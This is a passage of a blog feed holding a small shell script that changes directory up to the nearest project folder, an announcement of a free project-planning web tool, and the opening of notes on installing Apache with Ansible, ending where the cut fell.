&lt;h2 id=&quot;a-new-cdu-change-dir-up&quot;&gt;A new &#39;cdu&#39;, change dir up &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cdu-change-dir-up-to-project-dir/#a-new-cdu-change-dir-up&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cdu-change-dir-up-to-project-dir/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I have used a longer bash version for years. This is a rewrite to support both zsh and bash. It&#39;s also shorter. Prettier and more features, but less tested than the old one.&lt;/p&gt;
&lt;p&gt;Save the source code to a dir where it runs (e.g. /usr/local/bin/changedirup). Make runnable (chmod ugo+rx /usr/local/bin/changedirup). Add to your .bashrc and .zshrc: &#39;alias cdu=&quot;source changedirup&quot;&#39;. Log out and back.&lt;/p&gt;
&lt;p&gt;And now you can jump up with &#39;cdu&#39;.&lt;/p&gt;
&lt;h2 id=&quot;source-code-gpl&quot;&gt;Source code, GPL &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cdu-change-dir-up-to-project-dir/#source-code-gpl&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cdu-change-dir-up-to-project-dir/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;!/bin/bash&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; changedirup - cd up to project top dir, &amp;#39;alias cdu=&amp;quot;source changedirup&amp;quot;&amp;#39;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; To persist it, add the alias to .zshrc or .bashrc&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; Single usage also works with &amp;#39;source cdu&amp;#39; or &amp;#39;. cdu&amp;#39;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; Can be run again to go to even higher project dir. &lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; cdu works with zsh and bash. Shebang #! is just for syntax highlight.&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; SPDX-License-Identifier: GPL-3.0-or-later&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; SPDX-FileCopyrightText: Copyright 2020-2026 Tero Karvinen https://TeroKarvinen.com&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;hl-variable hl-other hl-readwrite hl-assignment hl-shell&quot;&gt;CDU_PWD_WAS&lt;/span&gt;&lt;span class=&quot;hl-keyword hl-operator hl-assignment hl-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;hl-string hl-unquoted hl-shell&quot;&gt;&lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-group hl-expansion hl-command hl-parens hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-variable hl-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-section hl-parens hl-begin hl-shell&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;pwd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-section hl-parens hl-end hl-shell&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-cd hl-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ..&lt;/span&gt;
&lt;span class=&quot;hl-keyword hl-control hl-while hl-shell&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;true&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-keyword hl-operator hl-logical hl-continue hl-shell&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;hl-keyword hl-control hl-do hl-shell&quot;&gt;do&lt;/span&gt;
	&lt;span class=&quot;hl-keyword hl-control hl-for hl-shell&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;hl-meta hl-group hl-for hl-shell&quot;&gt; f &lt;span class=&quot;hl-keyword hl-control hl-in hl-shell&quot;&gt;in&lt;/span&gt; .git Makefile .profile .bashrc README.md requirements.txt go.mod manage.py hosts.ini .project project.godot Dockerfile Cargo.toml index.theme config.toml default.gpr DICOMDIR ansible.cfg site.yml Vagrantfile package.json pyproject.toml zowe.yaml pom.xml build.gradle Gemfile composer.json docker-compose.yml compose.yaml .cobaltstrike.beacon_keys flake.nix  .zshrc .ssh .sliver .sliver-client .msf4 havoc_default.yaotl .projectile .svn .hg .fossil .jj .editorconfig _darcs .bzr Cargo.lock .bash_profile&lt;/span&gt;
	&lt;span class=&quot;hl-keyword hl-control hl-do hl-shell&quot;&gt;do&lt;/span&gt;
		&lt;span class=&quot;hl-keyword hl-control hl-if hl-begin hl-shell&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;hl-support hl-function hl-test hl-begin hl-shell&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; &lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt;-&lt;/span&gt;e&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-group hl-expansion hl-parameter hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-variable hl-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;hl-variable hl-other hl-readwrite hl-shell&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;hl-support hl-function hl-test hl-end hl-shell&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-keyword hl-operator hl-logical hl-continue hl-shell&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;hl-keyword hl-control hl-if hl-then hl-shell&quot;&gt;then&lt;/span&gt;
			&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-echo hl-shell&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;Found &lt;span class=&quot;hl-meta hl-group hl-expansion hl-parameter hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-variable hl-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;hl-variable hl-other hl-readwrite hl-shell&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
			&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-pwd hl-shell&quot;&gt;pwd&lt;/span&gt;&lt;/span&gt;
			&lt;span class=&quot;hl-keyword hl-control hl-break hl-shell&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; 2&lt;/span&gt;
		&lt;span class=&quot;hl-keyword hl-control hl-if hl-end hl-shell&quot;&gt;fi&lt;/span&gt;
	&lt;span class=&quot;hl-keyword hl-control hl-done hl-shell&quot;&gt;done&lt;/span&gt;

	&lt;span class=&quot;hl-keyword hl-control hl-if hl-begin hl-shell&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;hl-support hl-function hl-test hl-begin hl-shell&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-group hl-expansion hl-command hl-parens hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-variable hl-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-section hl-parens hl-begin hl-shell&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;pwd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-section hl-parens hl-end hl-shell&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;hl-keyword hl-operator hl-logical hl-shell&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;/&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;hl-support hl-function hl-test hl-end hl-shell&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-keyword hl-operator hl-logical hl-continue hl-shell&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;hl-keyword hl-control hl-if hl-then hl-shell&quot;&gt;then&lt;/span&gt;
		&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-cd hl-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-group hl-expansion hl-parameter hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-variable hl-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;hl-variable hl-other hl-readwrite hl-shell&quot;&gt;CDU_PWD_WAS&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-echo hl-shell&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;No project files found above. Working directory unchanged.&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-pwd hl-shell&quot;&gt;pwd&lt;/span&gt;&lt;/span&gt;
		&lt;span class=&quot;hl-keyword hl-control hl-break hl-shell&quot;&gt;break&lt;/span&gt;
	&lt;span class=&quot;hl-keyword hl-control hl-if hl-end hl-shell&quot;&gt;fi&lt;/span&gt;
	
	&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-cd hl-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ..&lt;/span&gt; &lt;span class=&quot;hl-keyword hl-operator hl-logical hl-or hl-shell&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;hl-keyword hl-control hl-break hl-shell&quot;&gt;break&lt;/span&gt; &lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; prevent infinite loop in the rare case cd fails for permissions&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-keyword hl-control hl-done hl-shell&quot;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>

  <entry>
    <title>ppp Personal Project Portfolio</title>
    <link href="https://terokarvinen.com/ppp-personal-project-portfolio/"/>
    <id>https://terokarvinen.com/ppp-personal-project-portfolio/</id>
    <published>2026-07-02T11:52:00+03:00</published>
    <updated>2026-07-02T11:52:00+03:00</updated>
    <content type="html">&lt;p&gt;Arrange your ideas into a skill tree.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pick little wins on your way to big goals&lt;/li&gt;
&lt;li&gt;Ship something at every step&lt;/li&gt;
&lt;li&gt;Turn ambition into output&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/ppp/&quot;&gt;Open ppp in your browser&lt;/a&gt;. Free, no login.&lt;/p&gt;
&lt;h2 id=&quot;talk-nerd-to-me&quot;&gt;Talk nerd to me &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/#talk-nerd-to-me&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Single 50 kB HTML file with no dependencies. Use online or 100% offline. Your data stays yours: JSON export and import. Fully usable with keyboard-only - or mouse-only with keyboard just for typing names. A vibe-coded GUI editor for a directed acyclic graph with project-specific attributes: costs, deliverables, soft benefits. Public beta.&lt;/p&gt;
&lt;p&gt;Gain a bird&#39;s-eye view with ppp. I hope you have more ideas than time to do them. Use ppp to decide which path to pick next. Once you&#39;re committed, use &lt;a href=&quot;https://terokarvinen.com/2021/calendar-txt/&quot;&gt;calendar.txt&lt;/a&gt; and todo.txt for day-to-day and hour-to-hour.&lt;/p&gt;
&lt;h2 id=&quot;try-ppp&quot;&gt;Try ppp &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/#try-ppp&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/ppp/&quot;&gt;Try ppp&lt;/a&gt;. Free web access, no login required. Optionally save the 50 kB HTML file for 100% offline use. Looking forward to your &lt;a href=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/#comments&quot;&gt;comments&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
&lt;a href=&quot;https://terokarvinen.com/ppp/&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w480.ha8796df4.avif 480w, https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w800.ha8796df4.avif 800w, https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w1200.ha8796df4.avif 1200w, https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w1600.ha8796df4.avif 1600w, https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w1965.ha8796df4.avif 1965w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w800.ha8796df4.png&quot; srcset=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w800.ha8796df4.png 800w, https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w1600.ha8796df4.png 1600w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;381&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

</content>
  </entry>

  <entry>
    <title>Apache installed with Ansible - quick notes</title>
    <link href="https://terokarvinen.com/apache-ansible/"/>
    <id>https://terokarvinen.com/apache-ansible/</id>
    <published>2026-04-09T16:10:00+03:00</published>
    <updated>2026-04-09T16:10:00+03:00</updated>
    <content type="html">&lt;figure class=&quot;right&quot; style=&quot;max-width: 205px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/apache-ansible/apache-httpd-logo.w737.h0486b2b3.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/apache-ansible/apache-httpd-logo.w480.h0486b2b3.avif 480w, https://terokarvinen.com/apache-ansible/apache-httpd-logo.w737.h0486b2b3.avif 737w&quot; sizes=&quot;(max-width: 205px) 100vw, 205px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/apache-ansible/apache-httpd-logo.w737.h0486b2b3.png&quot; srcset=&quot;https://terokarvinen.com/apache-ansible/apache-httpd-logo.w737.h0486b2b3.png 737w&quot; sizes=&quot;(max-width: 205px) 100vw, 205px&quot; width=&quot;737&quot; height=&quot;1432&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Install Apache 2 web server automatically. Serves a web site on the front page of http://localhost. Pages can be edited as a normal user - without root or sudo.&lt;/p&gt;
&lt;p&gt;Simplified Ansible role. An example of &lt;em&gt;package-file-server&lt;/em&gt; pattern. Just notes, no tutorial.&lt;/p&gt;
&lt;p&gt;Using these short notes require a working Ansible configuration - &lt;a href=&quot;https://terokarvinen.com/hello-ansible/&quot;&gt;Hello Ansible&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;package-file-service-pattern&quot;&gt;Package-file-service pattern &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/apache-ansible/#package-file-service-pattern&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/apache-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Daemons, like Apache2 web server, are somewhat similar. They are configured with package-file-service pattern. Install the daemon, change configuration by editing files, start it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;package - sudo apt-get install apache2&lt;/li&gt;
&lt;li&gt;files - sudoedit /etc/apache2/...&lt;/li&gt;
&lt;li&gt;service - sudo systemctl restart apache2&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Changes to configuration files only take effect after you kick the daemon. Thus, &lt;em&gt;file&lt;/em&gt; in tasks/main.yml &lt;em&gt;notify&lt;/em&gt; the &lt;em&gt;handler&lt;/em&gt; &quot;restart apache2&quot;.&lt;/p&gt;
&lt;h2 id=&quot;tree-of-roles-apache2&quot;&gt;&lt;span id=&quot;tree-of-rolesapache2&quot;&gt;&lt;/span&gt;tree of roles/apache2/ &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/apache-ansible/#tree-of-roles-apache2&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/apache-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;roles/apache2/  # All files related to &amp;quot;apache2&amp;quot; role
├── files/      # Master copies of files
│   └── example.com.conf
├── handlers/   # restarting services
│   └── main.yml
└── tasks/      # most ansible code
    └── main.yml
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;tasks-main-yml&quot;&gt;&lt;span id=&quot;tasksmainyml&quot;&gt;&lt;/span&gt;tasks/main.yml &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/apache-ansible/#tasks-main-yml&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/apache-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;hl-source hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;apt&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;name&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;apache2&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;state&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;present&lt;/span&gt;

&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;copy&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;dest&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;/etc/apache2/sites-available/example.com.conf&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;src&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;example.com.conf&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;owner&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;root&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
